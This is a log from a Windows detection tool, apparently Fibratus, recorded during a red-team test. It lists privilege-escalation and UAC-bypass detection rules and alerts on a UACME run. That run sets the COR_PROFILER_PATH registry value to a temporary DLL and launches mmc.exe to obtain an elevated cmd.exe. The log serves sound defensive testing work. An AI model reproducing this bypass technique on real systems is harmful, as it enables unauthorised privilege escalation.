EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9beb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9be8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffec9b84304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffec9a5b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9b2ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffec9bc717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffec9a877fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffec9a862ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffec9ad8013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffec9a9eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9a374bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a36e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffea52293f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52286a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5268cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5266f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T14:01:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T14:01:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T14:01:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T14:01:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:01:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T14:01:56+01:00 level=info msg=bootstrapping with pid 16148. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T14:01:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-threadpool=>false max-buffers=>36 enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-fileio=>true min-buffers=>16 enable-vamap=>true enable-mem=>true stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-net=>true enable-audit-api=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true level=>info max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] method=>POST timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s healthcheck=>true index-name=>fibratus sniff=>false timeout=>5s healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 trace-log=>false] amqp=>[ delivery-mode=>transient durable=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ exchange=>fibratus timeout=>5s enabled=>false url=>amqp://localhost:5672] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-03T14:01:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:01:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:02:05+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 3485955 + Pid: 17280 + Tid: 7476 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:02:03.3836785 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab869157d3d0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 17280 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 3489584 + Pid: 308 + Tid: 8528 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:02:04.1779221 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 34bf0f000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a57bac080, name➜ cmd.exe, pid➜ 16504, ppid➜ 308, real_ppid➜ 308, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:02:04.1778701 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 308 + Ppid: 17280 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T14:02:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T14:02:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T14:02:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 